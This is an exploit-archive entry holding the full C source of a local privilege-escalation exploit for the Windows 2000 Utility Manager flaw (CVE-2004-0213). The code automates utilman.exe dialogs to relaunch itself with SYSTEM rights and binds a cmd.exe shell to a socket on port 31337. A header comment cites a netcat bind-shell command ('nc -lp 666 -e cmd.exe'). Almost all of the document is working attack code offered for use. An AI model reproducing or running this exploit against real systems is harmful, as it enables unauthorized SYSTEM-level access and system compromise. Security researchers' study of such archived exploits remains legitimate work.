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utilmaned2.c

utilmaned2.c
Posted Jul 17, 2004
Authored by Kralor

Local elevation of privileges exploit for the Microsoft Windows 2000 Utility Manager vulnerability. Updated version that can be executed via simple cmd.exe shells using a normal user account. Gives a shell with SYSTEM privileges.

tags | exploit, shell, local
systems | windows
advisories | CVE-2004-0213
SHA-256 | 075b9e7810c1d745ad80808bae307f18bd645d2e8f49f32f7a9315895c6f6671

utilmaned2.c

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/*****************************************************************************************
*****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0***0***4****
** [Crpt] Utility Manager exploit v2.666 modified by kralor [Crpt] **
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
** It gets system language and sets windows names to work on any win2k :P **
** Feel free to add other languages :) **
** v2.666: added autonomous (allinone) remote exploitation system ;) **
** It can be executed through poor cmd.exe shells (like nc -lp 666 -e cmd.exe from a **
** normal user account). Must be called with an argument (any argument) **
** You know where we are.. **
*****C*****O*****R*****O******M******P*****U*******T*******E******R*****2***0***0***4****
*****************************************************************************************/
/* original disclaimer */
//by Cesar Cerrudo sqlsec>at<yahoo.com
//Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
//Gives you a shell with system privileges
//If you have problems try changing Sleep() values.
/* end of original disclaimer */

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <conio.h>
#include <io.h>

#pragma comment (lib,"ws2_32")

#define EXIT_SHELL "exit -shell"
#define HOST "localhost"
#define PORT 31337

struct {
int id;
char *utilman;
char *winhelp;
char *open;
} lang[] = {
{ 0x0c,"Gestionnaire d'utilitaires","aide de Windows","Ouvrir" }, /* French */
{ 0x09,"Utility manager","Windows Help","Open" } /* English */
};

void print_lang(int id)
{
char *lang_list[] = {"Neutral","Arabic","Bulgarian","Catalan","Chinese","Czech",
"Danish","German","Greek","English","Spanish","Finnish",
"French","Hebrew","Hungarian","Icelandic","italian",
"Japanese","Korean","Dutch","Norwegian","Polish",
"Portuguese","Romanian","Russian","Croatian","Serbian",
"Slovak","Albanian","Swedish","Thai","Turkish","Urdu",
"Indonesian","Ukrainian","Belarusian","Slovenian",
"Estonian","Latvian","Lithuanian","Farsi","Vietnamese",
"Armenian","Azeri","Basque","FYRO Macedonian","Afrikaans",
"Georgian","Faeroese","Hindi","Malay","Kazak","Kyrgyz",
"Swahili","Uzbek","Tatar","Not supported","Punjabi",
"Gujarati","Not supported","Tamil","Telugu","Kannada",
"Not supported","Not supported","Marathi","Sanskrit",
"Mongolian","Galician the best ;)","Konkani","Not supported",
"Not supported","Syriac","Not supported","Not supported",
"Divehi","Invariant"};
printf("%s\r\n",lang_list[id]);
return;
}

int cnx(char *host, int port)
{
SOCKET sock;
struct sockaddr_in yeah;
struct hostent *she;
PROCESS_INFORMATION ProcessInformation;
STARTUPINFO si;

printf("[i] should be called by myself, try with any argument to load the attack\r\n");
fflush(stdout);
sock = WSASocket(0x02,0x01,0x00,0x00,0x00,0x00);
if(!sock) {
printf("error: unable to create socket\r\n");
return -1;
}

yeah.sin_family=AF_INET;
yeah.sin_addr.s_addr=inet_addr(host);
yeah.sin_port=htons((u_short)port);

if((she=gethostbyname(host))!=NULL) {
memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
} else {
if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
printf("error: cannot resolve host\r\n");
return -1;
}
}
if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
printf("error: connection refused\r\n");
return -1;
}

si.cb = 0x44;
si.lpReserved = 0x00;
si.lpTitle = 0x00;
si.lpDesktop = 0x00;
si.dwX = 0x00;
si.dwY = 0x00;
si.dwXSize = 0x00;
si.dwYSize = 0x00;
si.wShowWindow = 0x00;
si.lpReserved2 = 0x00;
si.cbReserved2 = 0x00;

si.dwFlags = 0x101;

si.hStdInput = (void *)sock;
si.hStdOutput = (void *)sock;
si.hStdError = (void *)sock;

if(!CreateProcess(0x00, "cmd", 0x00, 0x00, 0x01, 0x10, 0x00, 0x00,&si, &ProcessInformation)) {
printf("CreateProcess() error\r\n");
return -1;
}
return 0;
}

void cmdshell(int sock)
{
int length=666;
char buffer[1024];

while(length) {
length=read(0,buffer,sizeof(buffer));
buffer[length]=0;
if(!strncmp(buffer,EXIT_SHELL,strlen(EXIT_SHELL))) {
send(sock,"exit\r\n",6,0);
break;
}
length=send(sock,buffer,length,0);
if (length<=0) {
printf("[i] Connection closed.\n");
exit(0);
}
}
printf("[i] Connection successfully exited.\r\n");
exit(0);
}

void wait_cnx(int port) {
int sock, s,t;
struct sockaddr_in my_addr;
struct sockaddr_in their_addr;
int sin_size;
char buffer[4095];

if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1) {
printf("error: unable to create socket\r\n");
exit(1);
}
my_addr.sin_family=AF_INET;
my_addr.sin_port=htons((u_short)port);
my_addr.sin_addr.s_addr=INADDR_ANY;
if(bind(sock, (struct sockaddr *)&my_addr, sizeof(struct sockaddr))==-1) {
printf("error: unable to bind socket on port %d\r\n",port);
exit(1);
}
if(listen(sock, 3)==-1) {
printf("error: unable to listen\r\n");
exit(1);
}
sin_size=sizeof(struct sockaddr_in);
printf("[i] waiting connection on port %d\r\n",port);

if((s=accept(sock, (struct sockaddr *)&their_addr,&sin_size))==-1) {
printf("error: unable to accept connection\r\n");
exit(1);
}
memset(buffer,0,sizeof(buffer));
printf("[i] host %s connected\r\n", inet_ntoa(their_addr.sin_addr));
printf("[h] type 'exit -shell' to leave the shell\r\n\r\n");
fflush(stdout);
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)cmdshell,(void*)s,0,&t);
while((sin_size=recv(s,buffer,sizeof(buffer),0))>0) {
buffer[sin_size]=0x00;
printf("%s",buffer);
fflush(stdout);
}
printf("\r\n[i] shell lost\r\n");
return;
}

int set_lang(void)
{
unsigned int lang_usr,lang_sys,id;

id=GetSystemDefaultLangID();
lang_sys=PRIMARYLANGID(id);
id=GetUserDefaultLangID();
lang_usr=PRIMARYLANGID(id);
if(lang_usr!=lang_sys) {
printf("warning: user language differs from system language\r\n\r\n");
printf("1. system : ");print_lang(lang_sys);
printf("2. user : ");print_lang(lang_usr);printf("Select(1-2): ");
fflush(stdout);
id=getch();
if(id!=49&&id!=50) {
printf("wrong choice '%c', leaving.\r\n",id);
exit(0);
}
if(id==49) {
printf("system language\r\n");
return lang_sys;
}
else
printf("user language\r\n");
}
return lang_usr;
}

void banner()
{
printf("\r\n\r\n\t[Crpt] Utility Manager exploit v2.666 modified by kralor [Crpt]\r\n");
printf("\t\t\t base code by Cesar Cerrudo\r\n");
printf("\t added autonomous (allinone) remote exploitation system\r\n");
printf("\t\t\t You know where we are...\r\n\r\n");
fflush(stdout);
return;
}

void give_magicshell(void)
{
cnx(HOST,PORT);
exit(0);
return;
}

void enter_filename(HWND hwnd,char *filename,int size)
{
unsigned int i;

for(i=0;i<(unsigned int)size;i++)
SendMessage(hwnd, WM_IME_KEYDOWN, toupper(filename[i]), 0);
return;
}

int main(int argc, char* argv[])
{
HWND lHandle, lHandle2;
POINT point;
char cmd[512];
unsigned int i,j,t;
int lang_id,path_len=1024;
char *path;
WSADATA wsa;
HANDLE hdlr;

banner();
if(WSAStartup(0x101,&wsa)) {
printf("error: unable to load winsock\r\n");
return -1;
}
if(argc==1)
give_magicshell();

hdlr=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)\
wait_cnx,(void*)PORT,0,&t);
Sleep(1000);

printf("[+] Gathering system language information\r\n");
lang_id=set_lang();
printf("[+] OK language ...");print_lang(lang_id);
fflush(stdout);
for(i=0;i<sizeof(lang)/sizeof(lang[0]);i++)
if(lang[i].id==lang_id)
break;
if(i==sizeof(lang)/sizeof(lang[0])) {
printf("error: undefined language.\r\n");
return -1;
}
printf("[+] Trying to execute program with SYSTEM priviliges through utilman.exe\r\n");
memset(cmd,0,sizeof(cmd));
for(j=strlen(argv[0]);j>0;j--)
if(argv[0][j]=='\\') {
j++;break;
}
strncpy(cmd,&argv[0][j],508);
if(cmd[strlen(cmd)-4]!='.')
strcat(cmd,".exe");

printf("prog: %s\r\n",cmd);
cmd[strlen(cmd)-1]='?';
fflush(stdout);
// run utility manager
WinExec("utilman.exe /start",SW_HIDE);
Sleep(1000);

lHandle=FindWindow(NULL, lang[i].utilman);
if (!lHandle) {
printf("error: unable to start utilman.exe.\r\n");
return 0;
}

PostMessage(lHandle,0x313,0,0); //=right click on the app button in the taskbar or Alt+Space Bar
Sleep(100);

SendMessage(lHandle,0x365,0,0x1); //send WM_COMMANDHELP 0x0365 lParam must be<>NULL
Sleep(300);

SendMessage (FindWindow(NULL, lang[i].winhelp), WM_IME_KEYDOWN, VK_RETURN, 0);
Sleep(500);

// find open file dialog window
lHandle = FindWindow("#32770",lang[i].open);
// get input box handle
lHandle2 = GetDlgItem(lHandle, 0x47C);
Sleep(500);

path=(char*)malloc(path_len);
GetCurrentDirectory(path_len,path);
printf("path: %s\r\n",path);
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)path);
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);
free(path);
fflush(stdout);

// set text to filter listview to display only cmd.exe
SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)cmd);
Sleep(800);

// send return
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

//get navigation bar handle
lHandle2 = GetDlgItem(lHandle, 0x4A0);

//send tab
SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
Sleep(500);
lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
//get list view handle
lHandle2 = GetDlgItem(lHandle2, 0x1);

enter_filename(lHandle2,cmd,strlen(cmd)-4);
Sleep(500);

//popup context menu
PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
Sleep(1000);

// get context menu handle
point.x =10; point.y =30;
lHandle2=WindowFromPoint(point);

SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
Sleep(500);

SendMessage (FindWindow(NULL, lang[i].winhelp), WM_CLOSE, 0, 0);// close open error window
SendMessage (FindWindow(NULL, lang[i].utilman), WM_CLOSE, 0, 0);// close utilitymanager
WaitForSingleObject(hdlr,INFINITE);
WSACleanup();
return 0;
}
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